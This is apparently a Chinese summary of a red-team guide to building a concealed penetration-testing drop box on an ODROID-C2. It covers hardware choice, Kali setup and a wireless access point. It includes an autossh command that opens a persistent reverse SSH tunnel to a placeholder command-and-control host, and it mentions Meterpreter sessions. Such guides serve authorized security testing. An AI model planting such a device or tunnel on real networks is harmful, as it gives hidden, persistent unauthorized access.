如何构建自己的渗透测试投放设备

作者：Beau Bullock // 红队工具专家

摘要

本文对比测试了三款单板计算机（SBC）作为"渗透测试投放设备"的性能表现，重点推荐Hardkernel公司的ODROID-C2方案。完整构建指南包含硬件组装、Kali Linux系统配置、无线接入点搭建和持久化SSH隧道等技术细节，总成本控制在110美元左右。

设备需求分析

在零售企业红队演练中，作者需要满足以下核心需求：

• 隐蔽物理尺寸（可藏于办公桌下）
• 支持无线控制（最好能多网卡并发）
• 持久化SSH反向隧道
• 完整渗透测试OS环境（非单纯跳板）
• 32-64GB存储空间
• 硬件性能满足实战需求

硬件对比测试

测试机型及关键参数：

性能测试结果：

• 启动速度：ODROID-C2比树莓派3快1分钟，比BeagleBone快2分钟
• 磁盘读写：eMMC模块的ODROID-C2比microSD方案快15倍
• 密码破解：John the Ripper基准测试ODROID-C2显著领先

系统配置详解

Kali Linux安装

1. 下载官方ARM镜像
2. 使用Win32DiskImager或dd命令写入eMMC
3. 解决已知启动问题：

1
2

mount /dev/mmcblk0p1 /boot
echo '/dev/mmcblk0p1 /boot auto defaults 0 0' >> /etc/fstab

无线接入点配置

1
2

apt-get install hostapd dnsmasq
nano /etc/hostapd/hostapd.conf

配置文件示例：

1
2
3
4
5

interface=wlan0
ssid=pentest_ap
channel=6
wpa_passphrase=securepassword
wpa_key_mgmt=WPA-PSK

持久化SSH隧道

1

autossh -M 11166 -N -f -o "PubkeyAuthentication=yes" -i /root/.ssh/id_rsa -R 6667:localhost:22 root@C2_IP

实战部署经验

在真实红队行动中，该设备成功：

• 通过无线接口绕过DHCP限制
• 维持3天稳定SSH隧道
• 并发处理多个Meterpreter会话
• 执行网络扫描和漏洞利用

完整配件清单

• ODROID-C2主板 $41.95
• 32GB eMMC模块 $42.95
• RT5370芯片无线网卡 $11.99
• 带风扇外壳 $9.99
• 电源适配器 $6.99

特别提示：部署时建议准备备用无线网卡用于攻击模式切换（airmon-ng start wlan1）